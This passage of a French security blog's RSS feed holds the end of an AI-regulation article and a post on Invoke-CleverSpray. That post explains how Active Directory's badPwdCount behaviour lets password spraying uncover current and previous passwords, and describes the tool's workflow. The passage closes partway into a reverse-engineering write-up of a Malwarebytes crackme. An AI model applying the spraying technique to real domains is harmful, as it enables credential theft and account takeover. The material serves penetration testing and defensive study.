<p>Janvier 2020</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Aiming for truth, fairness, and equity in your company’s use of AI</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Federal trade commission</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2021</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>AI Risk Management framework: Initial Draft</p>
</td>
<td style="width: 29.313%;" width="200">
<p>NIST</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mars 2022</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" rowspan="8" width="105">
<p><strong>Royaume-Uni</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>AI Sector Deal</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department for Business, Energy &amp; Industrial Strategy; Department for Digital, Culture, Media &amp; Sport</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mai 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Data Ethics Framework</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department for Digital, Culture Media &amp; Sport</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Intelligent security tools: Assessing intelligent tools for cyber security</p>
</td>
<td style="width: 29.313%;" width="200">
<p>National Cyber Security Center</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Understanding Artificial Intelligence Ethics and Safety</p>
</td>
<td style="width: 29.313%;" width="200">
<p>The Alan Turing Institute</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Guidelines for AI Procurement</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Office for Artificial Intelligence</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2020</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>A guide to using artificial intelligence in the public sector</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Office for Artificial Intelligence</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Janvier 2020</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>AI Roadmap</p>
</td>
<td style="width: 29.313%;" width="200">
<p>UK AI Council</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Janvier 2021</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>National AI Strategy</p>
</td>
<td style="width: 29.313%;" width="200">
<p>HM Government</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Septembre 2021</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" rowspan="2" width="105">
<p><strong>Hong Kong</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>High-level Principles on Artificial Intelligence</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Hong Kong Monetary Authority</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Novembre 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Reshaping banking witth Artificial Intelligence</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Hong Kong Monetary Authority</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Décembre 2019</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>OCDE</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>Recommendation of the Council on Artificial Intelligence</p>
</td>
<td style="width: 29.313%;" width="200">
<p>OCDE</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mai 2019</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>Nations Unies</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>System-wide Approach and Road map for Supporting Capacity Development on AI</p>
</td>
<td style="width: 29.313%;" width="200">
<p>UN System Chief Executives Board for Coordination</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2019</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>Brésil</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>Brazilian Legal Framework for Artificial Intelligence</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Brazilian congress</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Septembre 2021</p>
</td>
</tr>
</tbody>
</table>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> Université d’été qui réunissait des scientifiques comme le célèbre John McCarthy. Cependant, les origines de l’IA peuvent être attribuées à différents chercheurs. Par exemple, dans la littérature, des noms comme celui de l’informaticien Alan Turing peuvent être aussi trouvés.</p>
<p><a href="#_ftnref2" name="_ftn1">[2]</a> Par exemple, Amazon a été accusé en octobre 2021 de ne pas respecter l’article 22 du RGPD. Pour plus d’information : <a href="https://www.usine-digitale.fr/article/le-fonctionnement-de-l-algorithme-de-paiement-differe-d-amazon-violerait-le-rgpd.N1154412">https://www.usine-digitale.fr/article/le-fonctionnement-de-l-algorithme-de-paiement-differe-d-amazon-violerait-le-rgpd.N1154412</a></p>
<p><a href="#_ftnref3" name="_ftn1">[3]</a> L’IA n’échappe pas à certaines lois et règlement tels que le RGPD pour les pays concernés. Nous noterons par exemple ce texte de la CNIL : <a href="https://www.cnil.fr/fr/intelligence-artificielle/ia-comment-etre-en-conformite-avec-le-rgpd">https://www.cnil.fr/fr/intelligence-artificielle/ia-comment-etre-en-conformite-avec-le-rgpd</a>.</p>
<p><a href="#_ftnref4" name="_ftn2">[4]</a> A l’exception de propositions législatives comme nous le verrons par la suite pour l’Union Européenne et le Brésil.</p>
<p><a href="#_ftnref5" name="_ftn1">[5]</a> Cette liste n’est pas exhaustive. Les chiffres renseignés donnent des ordres de grandeurs sur les principaux publieurs de textes en matière d’encadrement du développement de l’IA.</p>
<p>Les textes sur lesquels s’appuient l’études sont disponibles dans l’annexe 2 page 9</p>
<p><a href="#_ftnref6" name="_ftn1">[6]</a> Nous avons fait le choix de fusionner la phase d’identification et de protection pour les besoins de l’article.</p>
<p><a href="#_ftnref7" name="_ftn2">[7]</a> National Institute of Standards and Technology (NIST), Framework for improving Critical Infrastructure Cybersecurity, 16 Avril 2018, disponible à <a href="https://www.nist.gov/cyberframework/framework">https://www.nist.gov/cyberframework/framework</a></p>
<p><a href="#_ftnref8" name="_ftn1">[8]</a> Disponible sur : <a href="https://artificialintelligenceact.eu/the-act/">https://artificialintelligenceact.eu/the-act/</a></p>
<p><a href="#_ftnref9" name="_ftn1">[9]</a> Librement inspiré de : Eve Gaumond, Artificial Intelligence Act: What is the European Approach for AI?, in Lawfare, Juin 2021, disponible sur : <a href="https://www.lawfareblog.com/artificial-intelligence-act-what-european-approach-ai">https://www.lawfareblog.com/artificial-intelligence-act-what-european-approach-ai</a></p>
<p><a href="#_ftnref10" name="_ftn1">[10]</a> Nous parlons de système pour ne pas réduire l’IA.</p>
<p><a href="#_ftnref11" name="_ftn2">[11]</a> <a href="https://www.enisa.europa.eu/publications/artificial-intelligence-cybersecurity-challenges">https://www.enisa.europa.eu/publications/artificial-intelligence-cybersecurity-challenges</a></p>
<p><a href="#_ftnref12" name="_ftn2">[12]</a> <a href="https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms">https://www.enisa.europa.eu/publications/securing-machine-learning-algorithms</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/06/lintelligence-artificielle-bientot-reglementee/">L’Intelligence Artificielle bientôt réglementée ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/06/lintelligence-artificielle-bientot-reglementee/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Invoke-CleverSpray &#8211; Jamais 1 sans 3</title>
		<link>https://www.riskinsight-wavestone.com/2019/06/invoke-cleverspray-jamais-1-sans-3/</link>
		
		<dc:creator><![CDATA[François Lelièvre]]></dc:creator>
		<pubDate>Mon, 24 Jun 2019 13:44:58 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[authentification]]></category>
		<category><![CDATA[cleverspray]]></category>
		<category><![CDATA[invoke]]></category>
		<category><![CDATA[mot de passe]]></category>
		<category><![CDATA[utilisateur]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15509</guid>

					<description><![CDATA[<p>Avant l&#8217;existence du niveau fonctionnel Windows Server 2003, lorsqu&#8217;un utilisateur tentait de s&#8217;authentifier à l&#8217;aide d&#8217;un mot de passe n&#8217;étant pas le sien, son nombre de tentative d&#8217;authentification échouée (représenté par l&#8217;attribut « badPwdCount« ) se voyait automatiquement incrémentée. Depuis l&#8217;introduction du...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/06/invoke-cleverspray-jamais-1-sans-3/">Invoke-CleverSpray &#8211; Jamais 1 sans 3</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15929 media-15929" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15929" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header.png" alt="" width="640" height="268" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/header-71x30.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;">Avant l&rsquo;existence du niveau fonctionnel Windows Server 2003, lorsqu&rsquo;un utilisateur tentait de s&rsquo;authentifier à l&rsquo;aide d&rsquo;un mot de passe n&rsquo;étant pas le sien, son nombre de tentative d&rsquo;authentification échouée (représenté par l&rsquo;attribut « <b>badPwdCount</b>« ) se voyait automatiquement incrémentée.</div>
<div style="text-align: justify;">Depuis l&rsquo;introduction du niveau fonctionnel Windows Server 2003, lorsqu’un utilisateur essaie de s&rsquo;authentifier à l&rsquo;aide d&rsquo;un de ses deux précédents mots de passe, l&rsquo;attribut « <b>badPwdCount</b> » n&rsquo;est plus incrémenté. D&rsquo;une part, cette fonctionnalité permet de limiter les verrouillages de comptes utilisateurs dues à des tentatives de connexion émises par des applications suite à une modification de mot de passe non répercutée sur ces dernières (Exchange, Skype, etc.).  D&rsquo;autre part, cette évolution a pour objectif de limiter le nombre de verrouillages de comptes utilisateur et ainsi les interventions futiles des équipes de support. En effet, les mauvaises tentatives d&rsquo;authentification émanant d&rsquo;utilisateurs légitimes sont plus susceptibles d&rsquo;être la cause de tentatives d&rsquo;authentification à l&rsquo;aide de mots de passe précédemment valides.</div>
<h3>Fonctionnement du mécanisme de verrouillage de compte utilisateur</h3>
<div style="text-align: justify;">Différents paramètres interviennent au sein du mécanisme de verrouillage de compte utilisateur :</div>
<div style="text-align: justify;"></div>
<style type="text/css">
    .w-table {<br />        width: 100;<br />        border-spacing: 0;<br />        border-collapse: collapse;<br />    }</p>
<p>    .w-table td {<br />        text-align: center;<br />        border: 1px solid rgb(80, 48, 120);<br />        padding: 5px;<br />    }</p>
<p>    .w-table thead td {<br />        background: rgb(80, 48, 120);<br />        font-weight: bold; color: white;<br />        border-left: 1px solid white;<br />        border-right: 1px solid white;<br />    }</p>
<p>    .w-table thead td:first {<br />        border-left: 1px solid rgb(80, 48, 120);<br />    }</p>
<p>    .w-table thead td:last {<br />        border-right: 1px solid rgb(80, 48, 120);<br />    }<br /></style>
<table class="w-table">
<thead>
<tr>
<td>Attribut Active Directory</td>
<td>Propriété PowerShell</td>
<td>Paramètre de la stratégie de groupe</td>
<td style="width: 15%;">Périmètre</td>
</tr>
</thead>
<tbody>
<tr>
<td>lockoutThreshold</td>
<td>LockoutThreshold</td>
<td>Seuil de verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutDuration</td>
<td>LockoutDuration</td>
<td>Durée du verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutObservationWindow</td>
<td>LockoutObservationWindow</td>
<td>Fenêtre d’observation du verrouillage</td>
<td>Domaine</td>
</tr>
<tr>
<td>pwdHistoryLength</td>
<td>PasswordHistoryCount</td>
<td>Nombre de mots de passe antérieurs à conserver</td>
<td>Domaine</td>
</tr>
<tr>
<td>lockoutTime</td>
<td>AccountLockoutTime</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>logonCount</td>
<td>&#8211;</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>pwdLastSet</td>
<td>PasswordLastSet</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>pwdProperties</td>
<td>ComplexityEnabled</td>
<td>Mot de passe doit respecter des exigences de complexité</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>badPwdCount</td>
<td>BadLogonCount</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
<tr>
<td>badPasswordTime</td>
<td>LastBadPasswordAttempt</td>
<td>&#8211;</td>
<td>Utilisateur</td>
</tr>
</tbody>
</table>
<div style="text-align: justify;"></div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">La majeure partie de ces attributs disposent d&rsquo;un nom autoporteur. Néanmoins, il convient de préciser que la fenêtre d&rsquo;observation du verrouillage (« <b>lockoutObservationWindow</b>« ) ne représente pas la durée pendant laquelle les tentatives d&rsquo;authentification infructueuses doivent avoir lieu pour verrouiller un compte, ni le temps nécessaire à la réinitialisation de l&rsquo;attribut « <b>badPwdCount</b> » si aucune tentative infructueuse de connexion n&rsquo;est conduite. Au contraire, c&rsquo;est la durée nécessaire à la réinitialisation de l&rsquo;attribut « <b>badPwdCount</b> » depuis la dernière mise à jour de l&rsquo;attribut « <b>badPasswordTime</b>« .</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Par ailleurs, les attributs « <b>badPwdCount</b> » et « <b>badPasswordTime</b> » ne sont pas répliqués au sein du domaine mais seulement sauvegardés sur le contrôleur de domaine sur lequel l&rsquo;utilisateur essaye de s&rsquo;authentifier. Néanmoins, ces attributs sont synchronisés sur le contrôleur de domaine disposant du rôle FSMO d’émulateur de contrôleur principal de domaine (ou PDCe).</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Seuls les protocoles Kerberos et NTLM utilisés lors d&rsquo;une authentification via mot de passe ou Smart Card bénéficient de cette fonctionnalité (sous réserve que le PDCe soit joignable par le contrôleur de domaine gérant la demande d&rsquo;authentification).</div>
<h3>Jamais un sans trois</h3>
<div style="text-align: justify;">Du point de vue d&rsquo;un attaquant, cette nouvelle fonctionnalité offre la possibilité d&rsquo;attaquer non seulement le mot de passe actuel d&rsquo;un utilisateur mais aussi ses deux précédents via la vérification de l&rsquo;incrémentation de l&rsquo;attribut « <b>badPwdCount</b> » sur le PDCe suite à une tentative d&rsquo;authentification. En effet, si la tentative d&rsquo;authentification échoue mais que l&rsquo;attribut « <b>badPwdCount</b> » ne se voit pas incrémenter, alors un mot de passe précédemment valide vient d&rsquo;être découvert.</div>
<div style="text-align: justify;">La découverte d&rsquo;un mot de passe précédemment utilisé par un utilisateur permet à un attaquant d&rsquo;identifier une éventuelle structure de création de mot de passe employée par cet utilisateur, pouvant parfois conduire à la découverte de son mot de passe actuel.</div>
<div style="text-align: justify;">D&rsquo;autre part, il est fréquent que des utilisateurs réutilisent leurs anciens mots de passe ; un précédent mot de passe découvert pourrait donc être réemployé par la suite par ce même utilisateur.</div>
<div style="text-align: justify;">Enfin, les anciens mots de passe de domaine découverts peuvent parfois être encore valides sur certains applicatifs se reposant sur un référentiel n&rsquo;imposant aucun changement de mot de passe.</div>
<h3>Invoke-CleverSpray &#8211; Script PowerShell automatisant la découverte de mots de passe (actuel, N-1 et N-2)</h3>
<div style="text-align: justify;">Un script a été développé dans le but d&rsquo;identifier, outre les mots de passe actuels des utilisateurs d&rsquo;un domaine Windows, les mots de passe présents dans les historiques des mots de passe utilisateur :</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15931 media-15931" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15931" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1.png" alt="" width="640" height="482" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1-254x191.png 254w, https://www.riskinsight-wavestone.com/wp-content/uploads/2019/06/1-52x39.png 52w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<div style="text-align: center;"><a href="https://github.com/wavestone-cdt/Invoke-CleverSpray"><i><span style="font-size: x-small;">https://github.com/wavestone-cdt/Invoke-CleverSpray</span></i></a></div>
<div style="text-align: justify;">Le schéma de fonctionnement de ce dernier est le suivant :</div>
<div style="text-align: justify;">
<ul>
<li>Récupération de la liste des utilisateurs du domaine Windows ou au sein d&rsquo;un fichier passé en paramètre ;</li>
<li>Pour chacun des utilisateurs, le contrôleur de domaine disposant du rôle de PDCe va être contacté afin de connaître la valeur initiale de l&rsquo;attribut « <b>badPwdCount</b> » de l&rsquo;utilisateur, puis, si cette dernière est inférieure à un seuil défini par l&rsquo;attaquant, une tentative de connexion à l&rsquo;aide d&rsquo;un mot de passe spécifié en paramètre au script (ou présent au sein d&rsquo;une liste de mot de passe passée en paramètre) va être tentée ;</li>
<li>Si l&rsquo;authentification est réussie :
<ul>
<li>Le mot de passe correspond au mot de passe actuel de l&rsquo;utilisateur ciblé ;</li>
</ul>
</li>
</ul>
<ul>
<li>Si l&rsquo;authentification échoue :
<ul>
<li>La valeur de l&rsquo;attribut « <b>badPwdCount</b> » va alors être analysée :</li>
<li>Si cette dernière n&rsquo;a pas été incrémentée, le mot de passe essayé correspond à un des deux mots de passe précédemment défini par l&rsquo;utilisateur</li>
<li>Si cette dernière a été incrémentée, alors le mot de passe ne correspond ni au mot de passe actuel ni a un précédemment mot de passe de l&rsquo;utilisateur ciblé. Le script va donc passer à l&rsquo;utilisateur suivant afin de poursuivre l&rsquo;attaque.</li>
</ul>
</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<p>Il est à noter que le seuil de verrouillage d&rsquo;un compte utilisateur ne peut être collecté par un utilisateur standard du domaine. De fait, il convient par sécurité d&rsquo;exécuter le script avec une valeur limite de l&rsquo;attribut « <b>badPwdCount</b> » faible afin d&rsquo;éviter tout verrouillage de compte utilisateur.</p>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/06/invoke-cleverspray-jamais-1-sans-3/">Invoke-CleverSpray &#8211; Jamais 1 sans 3</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Malwarebytes challenge write-up</title>
		<link>https://www.riskinsight-wavestone.com/2018/06/malwarebytes-challenge-write-up/</link>
		
		<dc:creator><![CDATA[Maxime Meignan]]></dc:creator>
		<pubDate>Tue, 12 Jun 2018 09:00:39 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15584</guid>

					<description><![CDATA[<p>Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable This document describes the solving step of the challenge. Lightweight analysis...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2018/06/malwarebytes-challenge-write-up/">Malwarebytes challenge write-up</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15585 media-15585" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15585 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png" alt="" width="320" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I1-71x33.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Malwarebytes published on April 27th a new reverse engineering challenge, an executable mixing malware behavior with a traditional crackme look. It came in the form of a Windows executable</span></div>
<p>This document describes the solving step of the challenge.</p>
<h2><span style="text-align: center;">Lightweight analysis of “mb_crackme_2.exe”</span></h2>
<div style="text-align: justify;">
<p>As we would do with any real malware, we start by performing some basic information gathering on the provided executable. Even if the static and dynamic approaches gave us similar conclusions on the executable’s nature (see 2.4), the different methods have been described nonetheless in the following sections.</p>
<h3>Basic static information gathering</h3>
<p>Using <b>Exeinfo PE</b>, a maintained successor of the renowned (but outdated) <b>PEiD</b> software, gives us some basic information about the binary:</p>
<ul>
<li> The program is a <b>32 bits Portable Executable</b> (PE), meant to be run in console (no GUI);</li>
<li> It seems to be compiled from C++ using Microsoft Visual C++ 8;</li>
<li> No obvious sign of packing is detected by the tool.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<div style="text-align: center;">
<figure id="post-15587 media-15587" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15587 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png" alt="" width="518" height="255" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2.png 518w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-388x191.png 388w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I2-71x35.png 71w" sizes="auto, (max-width: 518px) 100vw, 518px" /></figure>
<p><i><span style="font-size: x-small;">Output of Exeinfo PE</span></i>
</div>
<p>Looking for printable strings in the binary already gives us some hints about the executable’s nature:
</p></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre><span style="font-family: inherit;"><span style="font-size: small;">$ strings -n 10 mb_crackme_2.exe_
[...]
<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename
[...]
<span style="color: red;"><b>Py</b></span>_IgnoreEnvironmentFlag
Failed to get address for <b><span style="color: red;">Py</span></b>_IgnoreEnvironmentFlag
<span style="color: red;"><b>Py</b></span>_NoSiteFlag
Failed to get address for <span style="color: red;"><b>Py</b></span>_NoSiteFlag
Py_NoUserSiteDirectory
[...]
m<span style="color: red;"><b>pyi</b></span>mod01_os_path
m<span style="color: red;"><b>pyi</b></span>mod02_archive
m<span style="color: red;"><b>pyi</b></span>mod03_importers
s<span style="color: red;"><b>pyi</b></span>boot01_bootstrap
s<span style="color: red;"><b>pyi</b></span>_rth__tkinter
bCrypto.Cipher._AES.<span style="color: red;"><b>pyd</b></span>
bCrypto.Hash._SHA256.<span style="color: red;"><b>pyd</b></span>
bCrypto.Random.OSRNG.winrandom.<span style="color: red;"><b>pyd</b></span>
bCrypto.Util._counter.<span style="color: red;"><b>pyd</b></span>
bMicrosoft.VC90.CRT.manifest
bPIL._imaging.<span style="color: red;"><b>pyd</b></span>
bPIL._imagingtk.<span style="color: red;"><b>pyd</b></span>
[...]
o<span style="color: red;"><b>pyi</b></span>-windows-manifest-filename another.exe.manifest
[...]
zout00-PYZ.<span style="color: red;"><b>pyz</b></span>
<span style="color: red;"><b>python27.dll</b></span></span></span>
</pre>
</div>
<p>Many references to <b>Python libraries</b>, <b>PYZ</b> archives and “<b>pyi</b>” substring indicates the use of the <b>PyInstaller</b> utility to build a PE executable from a Python script.</p>
<h3>Basic dynamic information gathering</h3>
<p>Running the executable (in a sandboxed environment) gives us the following message:</p>
<figure id="post-15672 media-15672" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15672 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png" alt="" width="454" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1.png 454w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-110x191.png 110w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I3-1-23x39.png 23w" sizes="auto, (max-width: 454px) 100vw, 454px" /></figure>
<figure id="post-15589 media-15589" class="align-none"></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Using <b>Process Monitor</b>, from <a href="https://docs.microsoft.com/en-us/sysinternals/">SysInternals Tools Suit</a><a href="https://www.blogger.com/null">e</a> , allows us to quickly get a glimpse of the actions performed by the executable:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-15591 size-full" style="text-align: center;" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png" alt="" width="640" height="328" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-373x191.png 373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I4-71x36.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<div class="separator" style="clear: both; text-align: center;"></div>
<p>A temporary directory named “<b>_MEI5282</b>” is created under user’s “<b>%temp%</b>” directory, and filled with <b>Python-related resources</b>. In particular, “<b>python27.dll</b>” and “<b>*.pyd</b>” libraries are written and later loaded by the executable.</p>
<p>This behavior is typical of executables generated by PyInstaller.
</p></div>
<div style="text-align: justify;">
<div style="text-align: justify;">
<figure id="post-15593 media-15593" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15593 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png" alt="" width="640" height="312" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5.png 640w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-392x191.png 392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I5-71x35.png 71w" sizes="auto, (max-width: 640px) 100vw, 640px" /></figure>
</div>
<h3 style="text-align: justify;">Error-handling analysis</h3>
<div style="text-align: justify;">Without tools, it is often possible to quickly get information about a binary’s internals by <b>testing its error handling</b>. For example, inserting an <b>EOF</b> (End-Of-File) signal in the terminal (“Ctrl+Z + Return” on Windows Command Prompt) makes the program crash, printing the following information:</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15595 media-15595" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15595 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png" alt="" width="461" height="262" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6.png 461w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-336x191.png 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I6-69x39.png 69w" sizes="auto, (max-width: 461px) 100vw, 461px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Python stack trace printed after a crash</span></i></div>
<p>This allows us to identify the presence of a Python program embedded inside the executable and gives us the name of the main script:<b> another.py.</b> The error message “[$PID] Failed to execute script $scriptName” is typical of <b>PyInstaller</b>-produced programs.
</div>
<h3 style="text-align: justify;">Python files extraction and decompilation</h3>
<div style="text-align: justify;">Every lightweight analysis presented previously points out that the executable has been built using <b>PyInstaller</b>.<br />
The <a href="https://0xec.blogspot.fr/2017/11/pyinstaller-extractor-updated-to-v19.html"><b>PyInstaller Extractor</b></a>  program can be used to extract python-compiled resources from the executable.</div>
<div style="text-align: justify;"></div>
<div style="background-color: black; border: 1px solid white; padding-left: 1%; padding-right: 1%; width: 100%;">
<pre>$ python pyinstxtractor.py mb_crackme_2.exe
[*] Processing mb_crackme_2.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 8531014 bytes
[*] Found 931 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth__tkinter
[+] Possible entry point: <b><span style="color: red;">another</span></b>
[*] Found 440 files in PYZ archive
[*] Successfully extracted pyinstaller archive: mb_crackme_2.exe

You can now use a python decompiler on the pyc files within the extracted directory</pre>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">As previously seen, the most interesting file is “<b>another</b>”, as it should contain the “main” function.</div>
<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15597 media-15597" class="align-none"><img loading="lazy" decoding="async" class="aligncenter wp-image-15597 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png" alt="" width="400" height="88" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/04/I7-71x16.png 71w" sizes="auto, (max-width: 400px) 100vw, 400px" /></figure>
</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><i><span style="font-size: x-small;">Files extracted by PyInstaller Extractor</span></i></div>
<p>&nbsp;
</p></div>
